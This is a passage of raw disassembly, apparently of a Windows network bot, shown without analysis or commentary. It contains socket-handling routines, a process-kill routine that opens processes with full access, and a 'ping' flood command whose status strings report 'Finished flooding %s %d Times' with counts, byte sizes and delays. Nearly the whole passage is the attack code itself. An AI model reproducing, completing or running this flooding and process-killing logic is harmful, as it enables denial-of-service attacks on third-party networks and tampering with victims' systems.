		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491DF[esi*4]
		push	eax
		nop
		call	near ptr 2760923h
		cmp	dword_4491DF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491DF[esi*4], ebx
		mov	dword_4491CB[esi*4], ebx
		mov	dword_4491CF[esi*4], ebx
		mov	eax, dword_4491D3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491D3[esi*4], ebx
		mov	byte_448FCB[esi*4], bl
		mov	byte_4491E3[esi*4], bl
		mov	ecx, dword_4491D7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_4491D7[esi*4], ebx
		mov	edx, dword_4491DB[esi*4]
		lea	esi, ds:4491DBh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491CF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61CF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2780000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2830BD8h


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61CB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61CB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FCB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FCB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FCBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A44
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
